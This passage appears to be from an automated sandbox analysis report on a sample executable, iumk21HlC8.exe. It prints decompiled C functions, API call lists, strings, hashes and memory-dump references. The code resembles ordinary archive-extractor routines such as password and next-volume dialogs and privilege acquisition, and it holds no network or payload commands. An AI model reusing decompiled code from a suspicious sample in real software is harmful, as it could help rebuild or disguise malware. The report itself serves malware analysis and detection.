					if(_t23 != 0) {
						E0111835E(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x112dd54; // 0x11506fc
					if(_t24 != 0) {
						E0111835E(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x112dd58; // 0x11506fc
					if(_t25 != 0) {
						E0111835E(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x112dd80; // 0x112dd48
					if(_t26 != 0) {
						E0111835E(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x112dd84; // 0x1150700
					if(_t27 != 0) {
						return E0111835E(_t6);
					}
				}
				return _t6;
			}

0x0111bde5
0x0111bdea
0x0111bdee
0x0111bdf4
0x0111bdf7
0x0111bdfc
0x0111be00
0x0111be06
0x0111be09
0x0111be0e
0x0111be12
0x0111be18
0x0111be1b
0x0111be20
0x0111be24
0x0111be2a
0x0111be2d
0x0111be32
0x0111be33
0x0111be36
0x0111be3c
0x00000000
0x0111be44
0x0111be3c
0x0111be47

APIs

_free.LIBCMT ref: 0111BDF7

Part of subcall function 0111835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?), ref: 01118374
Part of subcall function 0111835E: GetLastError.KERNEL32(?,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?,?), ref: 01118386

_free.LIBCMT ref: 0111BE09
_free.LIBCMT ref: 0111BE1B
_free.LIBCMT ref: 0111BE2D
_free.LIBCMT ref: 0111BE3F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dd5aa6e59dad517ef42f22315ef8d88c8fbbbc165a35af98d277b9fba86c92bc
Instruction ID: b27ebff4d322e13f5787a82b08fc6637c858de5be932f15a846574e0e5a65afc
Opcode Fuzzy Hash: dd5aa6e59dad517ef42f22315ef8d88c8fbbbc165a35af98d277b9fba86c92bc
Instruction Fuzzy Hash: 86F04F3350D614ABDA3CEE98F585D1AF7E9BA102203A88C25F21CD7558CB35F88086B4

Uniqueness

Uniqueness Score: -1.00%

Function 011174E3, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E011174E3(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E0111B110(_t52);
					GetModuleFileNameA(0, 0x1150128, 0x104);
					_t49 =  *0x11506d8; // 0x3333310
					 *0x11506e0 = 0x1150128;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x1150128;
					}
					_v8 = 0;
					_v16 = 0;
					E01117607(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E0111777C(_v8, _v16, 1);
					if(_t64 != 0) {
						E01117607(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E0111AC23(_t49, 0, _t64, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x11506cc = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x11506d0 = _t59;
									L16:
									E0111835E(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x11506cc = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x11506d0 = _t43;
						goto L10;
					} else {
						_t44 = E011187DA();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E0111835E(_t64);
						return _t50;
					}
				} else {
					_t45 = E011187DA();
					_t65 = 0x16;
					 *_t45 = _t65;
					E011186B9();
					return _t65;
				}
			}

0x011174e3
0x011174f0
0x01117510
0x01117523
0x01117529
0x0111752f
0x01117537
0x0111753e
0x0111753e
0x01117543
0x0111754a
0x01117551
0x01117563
0x0111756a
0x01117589
0x01117595
0x011175b0
0x011175b3
0x011175ba
0x011175c0
0x011175c7
0x011175ca
0x011175cc
0x011175d0
0x011175da
0x011175da
0x011175dc
0x011175e2
0x011175e5
0x011175e7
0x011175ed
0x011175ee
0x011175f4
0x00000000
0x00000000
0x00000000
0x00000000
0x011175d2
0x011175d2
0x011175d2
0x011175d5
0x011175d6
0x00000000
0x011175d2
0x011175c2
0x00000000
0x011175c2
0x0111759b
0x011175a0
0x011175a2
0x011175a4
0x00000000
0x0111756c
0x0111756c
0x01117571
0x01117573
0x01117574
0x011175a9
0x011175a9
0x011175f7
0x011175f8
0x00000000
0x01117601
0x011174f8
0x011174f8
0x011174ff
0x01117500
0x01117502
0x00000000
0x01117507

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\iumk21HlC8.exe,00000104), ref: 01117523
_free.LIBCMT ref: 011175EE
_free.LIBCMT ref: 011175F8

Strings

C:\Users\user\Desktop\iumk21HlC8.exe, xrefs: 0111751A, 01117521, 01117550, 01117588

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\iumk21HlC8.exe
API String ID: 2506810119-1923381557
Opcode ID: 11d64fcf269287f0ab640dfc2736c538a1e9d63b248d45f997d035dc46452a14
Instruction ID: a43601b214e797304e69eb77b00ae5865b6a102f8918596f1ac5d3953ef49c8d
Opcode Fuzzy Hash: 11d64fcf269287f0ab640dfc2736c538a1e9d63b248d45f997d035dc46452a14
Instruction Fuzzy Hash: BD316671A04355EFDB2ADF99D88499EFBBCEB98314F244076F50497358D7708A80CB61

Uniqueness

Uniqueness Score: -1.00%

Function 010F754D, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E010F754D(void* __ebx, void* __edx, void* __esi) {
				void* _t26;
				long _t32;
				void* _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t52;
				void* _t57;
				void* _t58;
				void* _t61;

				_t57 = __esi;
				_t52 = __edx;
				_t42 = __ebx;
				E0110E0E4(0x1121d77, _t61);
				E0110E1C0();
				 *((intOrPtr*)(_t61 - 0x20)) = 0;
				 *((intOrPtr*)(_t61 - 0x1c)) = 0;
				 *((intOrPtr*)(_t61 - 0x18)) = 0;
				 *((intOrPtr*)(_t61 - 0x14)) = 0;
				 *((char*)(_t61 - 0x10)) = 0;
				_t54 =  *((intOrPtr*)(_t61 + 8));
				_push(0);
				_push(0);
				 *((intOrPtr*)(_t61 - 4)) = 0;
				_push(_t61 - 0x20);
				if(E010F3B26( *((intOrPtr*)(_t61 + 8)), _t52) != 0) {
					if( *0x112feb2 == 0) {
						if(E010F7BCE(L"SeSecurityPrivilege") != 0) {
							 *0x112feb1 = 1;
						}
						E010F7BCE(L"SeRestorePrivilege");
						 *0x112feb2 = 1;
					}
					_push(_t57);
					_t58 = 7;
					if( *0x112feb1 != 0) {
						_t58 = 0xf;
					}
					_push(_t42);
					_t43 =  *((intOrPtr*)(_t61 - 0x20));
					_push(_t43);
					_push(_t58);
					_push( *((intOrPtr*)(_t61 + 0xc)));
					if( *0x1151000() == 0) {
						if(E010FB5AC( *((intOrPtr*)(_t61 + 0xc)), _t61 - 0x106c, 0x800) == 0) {
							L10:
							E010F7032(_t70, 0x52, _t54 + 0x1e,  *((intOrPtr*)(_t61 + 0xc)));
							_t32 = GetLastError();
							E01112DC0(_t32);
							if(_t32 == 5 && E010FFF7D() == 0) {
								E010F159C(_t61 - 0x6c, 0x18);
								E01100D97(_t61 - 0x6c);
							}
							E010F6F5B(0x112ff50, 1);
						} else {
							_t39 =  *0x1151000(_t61 - 0x106c, _t58, _t43);
							_t70 = _t39;
							if(_t39 == 0) {
								goto L10;
							}
						}
					}
				}
				_t26 = E010F15D1(_t61 - 0x20);
				 *[fs:0x0] =  *((intOrPtr*)(_t61 - 0xc));
				return _t26;
			}

0x010f754d
0x010f754d
0x010f754d
0x010f7552
0x010f755c
0x010f7564
0x010f7567
0x010f756a
0x010f756d
0x010f7570
0x010f7573
0x010f7578
0x010f7579
0x010f757a
0x010f7580
0x010f7588
0x010f7595
0x010f75a3
0x010f75a5
0x010f75a5
0x010f75b1
0x010f75b6
0x010f75b6
0x010f75c4
0x010f75c7
0x010f75c8
0x010f75cc
0x010f75cc
0x010f75cd
0x010f75ce
0x010f75d1
0x010f75d2
0x010f75d3
0x010f75de
0x010f75f6
0x010f760b
0x010f7614
0x010f7619
0x010f7628
0x010f7630
0x010f7640
0x010f7648
0x010f7648
0x010f7651
0x010f75f8
0x010f7601
0x010f7607
0x010f7609
0x00000000
0x00000000
0x010f7609
0x010f75f6
0x010f7657
0x010f765b
0x010f7664
0x010f766e

APIs

__EH_prolog.LIBCMT ref: 010F7552

Part of subcall function 010F3B26: __EH_prolog.LIBCMT ref: 010F3B2B

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 010F7619

Part of subcall function 010F7BCE: GetCurrentProcess.KERNEL32(00000020,?), ref: 010F7BDD
Part of subcall function 010F7BCE: GetLastError.KERNEL32 ref: 010F7C23
Part of subcall function 010F7BCE: CloseHandle.KERNEL32(?), ref: 010F7C32

Strings

SeRestorePrivilege, xrefs: 010F75AC
SeSecurityPrivilege, xrefs: 010F7597

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 2ec05943966b93634ad0772df9a8c965b8f81ee94c2581779a9694481ad72df2
Instruction ID: 5f23076db1867e70ef2470bf12039a90a041fd46864faf602854970d0b89d9a9
Opcode Fuzzy Hash: 2ec05943966b93634ad0772df9a8c965b8f81ee94c2581779a9694481ad72df2
Instruction Fuzzy Hash: 0631073190425AEAEF26EF68DC05FEE7BB8AF15704F04406DE684A7541D7B44944CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0110A3B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0110A3B0(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t16;
				void* _t19;
				void* _t22;
				WCHAR** _t24;
				void* _t25;
				intOrPtr _t27;
				void* _t28;
				struct HWND__* _t30;
				signed short _t31;

				_t24 = _a16;
				_t31 = _a12;
				_t30 = _a4;
				_t27 = _a8;
				if(E010F130B(__edx, _t30, _t27, _t31, _t24, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t28 = _t27 - 0x110;
				if(_t28 == 0) {
					_push( *_t24);
					 *0x114fca8 = _t24;
					L13:
					SetDlgItemTextW(_t30, 0x66, ??);
					goto L14;
				}
				if(_t28 != 1) {
					L6:
					return 0;
				}
				_t12 = (_t31 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t30, 0x66,  *( *0x114fca8), ( *0x114fca8)[1]);
					_push(1);
					L10:
					EndDialog(_t30, ??);
					goto L14;
				}
				_t16 = _t12 - 1;
				if(_t16 == 0) {
					_push(0);
					goto L10;
				}
				if(_t16 == 0x65) {
					_t19 = E010FBBC5(__eflags,  *( *0x114fca8));
					_t22 = E010F10F0(_t30, E010FDD11(_t25, 0x8e),  *( *0x114fca8), _t19, 0);
					__eflags = _t22;
					if(_t22 == 0) {
						goto L14;
					}
					_push( *( *0x114fca8));
					goto L13;
				}
				goto L6;
			}

0x0110a3b1
0x0110a3b6
0x0110a3bb
0x0110a3c0
0x0110a3d8
0x0110a468
0x0110a46a
0x00000000
0x0110a46a
0x0110a3de
0x0110a3e4
0x0110a457
0x0110a459
0x0110a45f
0x0110a462
0x00000000
0x0110a462
0x0110a3e9
0x0110a3fd
0x00000000
0x0110a3fd
0x0110a3ee
0x0110a3f1
0x0110a44d
0x0110a453
0x0110a437
0x0110a438
0x00000000
0x0110a438
0x0110a3f3
0x0110a3f6
0x0110a435
0x00000000
0x0110a435
0x0110a3fb
0x0110a40a
0x0110a423
0x0110a428
0x0110a42a
0x00000000
0x00000000
0x0110a431
0x00000000
0x0110a431
0x00000000

APIs

Part of subcall function 010F130B: GetDlgItem.USER32(00000000,00003021), ref: 010F134F
Part of subcall function 010F130B: SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

EndDialog.USER32(?,00000001), ref: 0110A438
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0110A44D
SetDlgItemTextW.USER32(?,00000066,?), ref: 0110A462

Strings

ASKNEXTVOL, xrefs: 0110A3C8

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 62a8221eeb97a0a190a73f53f84db03fa11a0578e055a7fcf66faba73b254fb1
Instruction ID: 9800b7cbb4c36bdb62ebf6db3c83470506f466d9d05dd9cbb1e4e98979a7c2e8
Opcode Fuzzy Hash: 62a8221eeb97a0a190a73f53f84db03fa11a0578e055a7fcf66faba73b254fb1
Instruction Fuzzy Hash: 5B11843AA44311BFE62B9E6CAC4DF663B69EF4AB40F050414F780D71D5C7A2A4468726

Uniqueness

Uniqueness Score: -1.00%

Function 010FD103, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E010FD103(void* __ebx, void* __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				signed int* _t30;
				void* _t31;
				void* _t34;
				void* _t42;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t50;

				_t44 = __edi;
				_t43 = __ecx;
				_t42 = __ebx;
				_t48 = _t49 - 0x64;
				_t50 = _t49 - 0xac;
				_t46 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x2c)) > 0) {
					 *((intOrPtr*)(_t48 + 0x5c)) =  *((intOrPtr*)(_t48 + 0x6c));
					 *((char*)(_t48 + 8)) = 0;
					 *((intOrPtr*)(_t48 + 0x60)) = _t48 + 8;
					if( *((intOrPtr*)(_t48 + 0x74)) != 0) {
						E011014F2( *((intOrPtr*)(_t48 + 0x74)), _t48 - 0x48, 0x50);
					}
					_t26 =  *((intOrPtr*)(_t48 + 0x70));
					if(_t26 == 0) {
						E010FFD3B(_t48 + 8, "s", 0x50);
					} else {
						_t34 = _t26 - 1;
						if(_t34 == 0) {
							_push(_t48 - 0x48);
							_push("$%s");
							goto L9;
						} else {
							if(_t34 == 1) {
								_push(_t48 - 0x48);
								_push("@%s");
								L9:
								_push(0x50);
								_push(_t48 + 8);
								E010FDCAB();
								_t50 = _t50 + 0x10;
							}
						}
					}
					_t16 = _t46 + 0x18; // 0x63
					_t18 = _t46 + 0x14; // 0x3352f78
					_t30 = E01115739(_t42, _t43, _t44, _t46, _t48 + 0x58,  *_t18,  *_t16, 4, E010FCF20);
					if(_t30 == 0) {
						goto L1;
					} else {
						_t20 = 0x112d158 +  *_t30 * 0xc; // 0x11236b8
						E01115DA0( *((intOrPtr*)(_t48 + 0x78)),  *_t20,  *((intOrPtr*)(_t48 + 0x7c)));
						_t31 = 1;
					}
				} else {
					L1:
					_t31 = 0;
				}
				return _t31;
			}

0x010fd103
0x010fd103
0x010fd103
0x010fd104
0x010fd108
0x010fd10f
0x010fd115
0x010fd125
0x010fd12b
0x010fd12f
0x010fd132
0x010fd13d
0x010fd13d
0x010fd145
0x010fd148
0x010fd183
0x010fd14a
0x010fd14a
0x010fd14d
0x010fd162
0x010fd163
0x00000000
0x010fd14f
0x010fd152
0x010fd157
0x010fd158
0x010fd168
0x010fd16b
0x010fd16d
0x010fd16e
0x010fd173
0x010fd173
0x010fd152
0x010fd14d
0x010fd18f
0x010fd195
0x010fd199
0x010fd1a3
0x00000000
0x010fd1a9
0x010fd1af
0x010fd1b8
0x010fd1c0
0x010fd1c0
0x010fd117
0x010fd117
0x010fd117
0x010fd117
0x010fd1c7

APIs

__fprintf_l.LIBCMT ref: 010FD16E
_strncpy.LIBCMT ref: 010FD1B8

Strings

@%s, xrefs: 010FD158
$%s, xrefs: 010FD163

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: e1dae6bdafe98aec416a96e67267e8f2603f787f0a5ab3f989eb74f01a14ae88
Instruction ID: 36f75324b584fbad8e79b197405b67d29b6316db05f32191e25fd05b68c86f5a
Opcode Fuzzy Hash: e1dae6bdafe98aec416a96e67267e8f2603f787f0a5ab3f989eb74f01a14ae88
Instruction Fuzzy Hash: 6C218C72540209BAEF21DFE8DC06FEE7BE8BB15300F04052AFB90965A2E371D659CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0110A8E0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0110A8E0(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* __ebx;
				void* _t15;
				signed short _t24;
				struct HWND__* _t28;
				intOrPtr _t29;
				void* _t30;

				_t24 = _a12;
				_t29 = _a8;
				_t28 = _a4;
				if(E010F130B(__edx, _t28, _t29, _t24, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t30 = _t29 - 0x110;
				if(_t30 == 0) {
					SetDlgItemTextW(_t28, 0x67, _a16);
					goto L10;
				}
				if(_t30 != 1) {
					L5:
					return 0;
				}
				_t15 = (_t24 & 0x0000ffff) - 1;
				if(_t15 == 0) {
					GetDlgItemTextW(_t28, 0x66,  &_v260, 0x80);
					E010FEBED(_t24, 0x1145a70,  &_v260);
					E010FEC38( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t28, ??);
					goto L10;
				}
				if(_t15 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0110a8ea
0x0110a8ee
0x0110a8f2
0x0110a90b
0x0110a97a
0x00000000
0x0110a97c
0x0110a90d
0x0110a913
0x0110a974
0x00000000
0x0110a974
0x0110a918
0x0110a927
0x00000000
0x0110a927
0x0110a91d
0x0110a920
0x0110a946
0x0110a958
0x0110a965
0x0110a96a
0x0110a92d
0x0110a92e
0x00000000
0x0110a92e
0x0110a925
0x0110a92b
0x00000000
0x0110a92b
0x00000000

APIs

Part of subcall function 010F130B: GetDlgItem.USER32(00000000,00003021), ref: 010F134F
Part of subcall function 010F130B: SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

EndDialog.USER32(?,00000001), ref: 0110A92E
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0110A946
SetDlgItemTextW.USER32(?,00000067,?), ref: 0110A974

Strings

GETPASSWORD1, xrefs: 0110A8F9

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 24ade89c09eaf43e2302216a136197c77396d15d9da1171557baa7dab3a426f4
Instruction ID: ee7bfae1af840f1acd0c634e6bcb5e94aab196980f6068d4fd7b8f9dd0f4b64b
Opcode Fuzzy Hash: 24ade89c09eaf43e2302216a136197c77396d15d9da1171557baa7dab3a426f4
Instruction Fuzzy Hash: D811C23AE40318BADB2A9968AD49FFB7B6CFF49750F024024FA85A34C4D3E599418771

Uniqueness

Uniqueness Score: -1.00%

Function 010FB437, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E010FB437(void* __ecx, void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t23;
				signed short* _t27;
				signed int _t29;
				signed int _t31;

				_t20 = _a8;
				_t27 = _a4;
				 *_t20 = 0;
				_t10 = E010FB746(_t27);
				if(_t10 == 0) {
					_t29 = 0x5c;
					if( *_t27 == _t29 && _t27[1] == _t29) {
						_push(_t29);
						_push( &(_t27[2]));
						_t10 = E01111438(__ecx);
						_pop(_t23);
						if(_t10 != 0) {
							_push(_t29);
							_push(_t10 + 2);
							_t13 = E01111438(_t23);
							if(_t13 == 0) {
								_t14 = E011133F3(_t27);
							} else {
								_t14 = (_t13 - _t27 >> 1) + 1;
							}
							asm("sbb esi, esi");
							_t31 = _t29 & _t14;
							E011156A2(_t20, _t27, _t31);
							_t10 = 0;
							 *((short*)(_t20 + _t31 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E010F3FD6(_t20, _a12, L"%c:\\",  *_t27 & 0x0000ffff);
			}

0x010fb438
0x010fb43f
0x010fb444
0x010fb447
0x010fb44e
0x010fb46b
0x010fb46f
0x010fb47a
0x010fb47b
0x010fb47c
0x010fb482
0x010fb485
0x010fb48a
0x010fb48b
0x010fb48c
0x010fb495
0x010fb49f
0x010fb497
0x010fb49b
0x010fb49b
0x010fb4a9
0x010fb4ab
0x010fb4b0
0x010fb4b8
0x010fb4ba
0x010fb4ba
0x010fb485
0x00000000
0x010fb4be
0x00000000

APIs

_swprintf.LIBCMT ref: 010FB45E

Part of subcall function 010F3FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F3FE9

_wcschr.LIBVCRUNTIME ref: 010FB47C
_wcschr.LIBVCRUNTIME ref: 010FB48C

Strings

%c:\, xrefs: 010FB454

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 07c0c31f73741856f17a810a8f92d20e3c9c4b3a1946c54449b23650fdd1c11e
Instruction ID: 0170f3c7668a9de5d62765bc7a959f982ec543cc8bc3a84ad92e37e4448ff143
Opcode Fuzzy Hash: 07c0c31f73741856f17a810a8f92d20e3c9c4b3a1946c54449b23650fdd1c11e
Instruction Fuzzy Hash: 2401C42354431269E6206B69CC86D6BF7ECEE96570784841EEBC4C6881EF24E454C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 01100618, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E01100618(long* __ecx, long _a4) {
				void* __esi;
				void* __ebp;
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t25 = __ecx;
				_t23 = 0x40;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x41] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0xc8]); // 0x320
				_t25[0xc5] = 0;
				InitializeCriticalSection(_t3);
				_t25[0xc6] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0xc7] = _t14;
				if(_t25[0xc6] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x112ff50);
					E010F6E21(E010F6E26(_t19), 0x112ff50, _t25, 2);
				}
				_t25[0xc3] = 0;
				_t25[0xc4] = 0;
				_t25[0x42] = 0;
				return _t25;
			}

0x01100618
0x01100618
0x01100620
0x01100624
0x01100625
0x01100629
0x0110062b
0x0110062b
0x01100634
0x01100636
0x01100636
0x01100638
0x01100640
0x01100642
0x01100642
0x01100644
0x0110064a
0x01100651
0x01100665
0x0110066b
0x01100671
0x0110067d
0x01100683
0x0110068d
0x01100699
0x01100699
0x0110069f
0x011006a7
0x011006ad
0x011006b6

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,010FAB05,00000008,?,00000000,?,010FCAC8,?,00000000), ref: 01100651
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,010FAB05,00000008,?,00000000,?,010FCAC8,?,00000000), ref: 0110065B
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,010FAB05,00000008,?,00000000,?,010FCAC8,?,00000000), ref: 0110066B

Strings

Thread pool initialization failed., xrefs: 01100683

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
